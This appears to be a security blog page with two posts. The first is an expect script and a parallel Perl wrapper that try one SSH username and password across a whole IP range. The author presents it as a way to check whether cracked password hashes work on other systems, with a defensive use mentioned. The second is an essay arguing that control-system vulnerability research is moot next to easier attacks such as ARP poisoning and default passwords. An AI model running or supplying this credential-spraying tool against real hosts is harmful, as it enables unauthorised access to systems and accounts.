Couple of little scripts

used to check for:
Well from a hacker's side, credential re-use, you know see if that password hash you just cracked will work on other systems;)

From a defender's side... check for ssh services and service account existence.

First the login/authentication tester (expect script):


#!/usr/bin/expect -f
#!/usr/bin/expect -d

set host [lrange $argv 0 0]
set uname "username" #placeholder username
set pass "password" #placeholder password
set timeout 120
set win "TESTLOGINFAIL $uname@$host\n"
spawn -noecho ssh -l $uname $host
log_user 0
match_max 100000

expect {
"(yes/no)?" {
send -- "yes\r"
exp_continue
}
"assword:" {
send -- "$pass\r"
expect {
"$ " {
puts "TESTLOGINTRUE $uname@$host\n"
send -- "exit\r"
close
exit
}
"Permission denied" {
puts $win
exit
}
timeout {
puts $win
exit
}
eof {
puts $win
exit
}
}
}
-re . {
exp_continue
}
timeout {
puts $win
exit
}
eof {
puts $win
exit
}


}


Next a wrapper to pass the test a range of IPs and to parallel-ize it for speedy performance (in perl with a nod to factor the perl wizard).



#!/usr/bin/perl
#
#
use Net::IP;
use Parallel::ForkManager;

#input can be of the form 192.168.10.1-192.168.10.22
#or 192.168.10.0/24

my $argIn = $ARGV[0];

my $pm = new Parallel::ForkManager(25);
my $ip = new Net::IP ($argIn) || die;
# Loop
do {
$pm->start and next;
my $bVal = 0;
my $nIP = $ip->ip();
$bVal = `./fail.exp $nIP`;
#$bVal = `./fail.exp $nIP`;
if($bVal =~ /TESTLOGINTRUE/){
print "$bVal : TRUE\n";
}else{
print "$nIP : FALSE\n";
}
$pm->finish;
} while (++$ip);
$pm->wait_all_children;

Enjoy!

The "mootness" of Control System Security Research

A lot of research is ongoing with the appellatic title of "control systems research."

The goal; securing control systems from cyber attack. Research that is funded in part by the control systems vendors and in part by the taxpayer.

A good part of this research is entirely moot.

What to I mean by moot? Well let me qualify that assertion.

Much of the research performed against control systems in laboratory environments involves: creating a mock control system, fuzzing the applications, and studying the protocols, communications, and perhaps the back end code with the hopes of finding a buffer overflow or other exploitable vulnerability.

From the exploit and the knowledge gained in finding the exploit a patch can be developed, or a mitigating control can be derived.

This type of research is occurring in the national labs via the National SCADA Test Bed, and in other private research groups. Create a mock environment and test it for vulnerabilities in all their various forms.

Though finding vulnerabilites and developing exploits is cool work and will get you props in the community, such efforts do little to truly secure control systems.

I state that this type of research is moot because if an attacker has enough exposure to the control system that he can exploit the SCADA specific software then the attacker is already in a position where much easier level 2 and level 3 (TCP model) attacks can be performed.

As control systems do not provide mechanism for ensuring the integrity and authenticity of communications, it is easier for any one with enough exposure to launch a buffer overflow of a control system specific service (assuming that the control system is not directly exposed to the internet, and corporate environments) to simply poison the ARP tables and tamper with the packets and control the process. Or failing that, there exists sufficient clear text authentication, default passwords, group passwords, re-use of passwords (are we seeing a theme here?) to provide vectors into the system. Next, many control systems run on older versions, and unpatched versions of their respective OSs which have known exploits. If an OS level exploit is unavailable, application specific exploits to the common services and applications; web servers, browsers, media players, readers and the like, abound in control systems where patching is often an after thought, undesired and known to at times have bad effects.

Given the state of existing control systems, crafting a custom exploit against a specific piece of control system software is most likely the last thing an attacker will do. There are simply too many easier methods of controlling the control system. A prime example is the recent Stuxnet Trojan. It relied on an OS level 0day and default control system passwords to extricate data. No control systems specific vulnerability was truly employed as the default password was known. In fact it was known that changing the password from the default was known to have bad results.

Yet this type of vulnerability research (finding control system specific software vulnerabilities) receives a large emphasis. Is it warranted?

Would research dollars be better spent in researching methods of providing integrity and authenticity measures to existing product lines and legacy systems? I say yes.

In as much as layer 2 and 3 attacks are so readily performed on control systems most research into control systems specific layer 4 vulnerabilities, is efectively moot.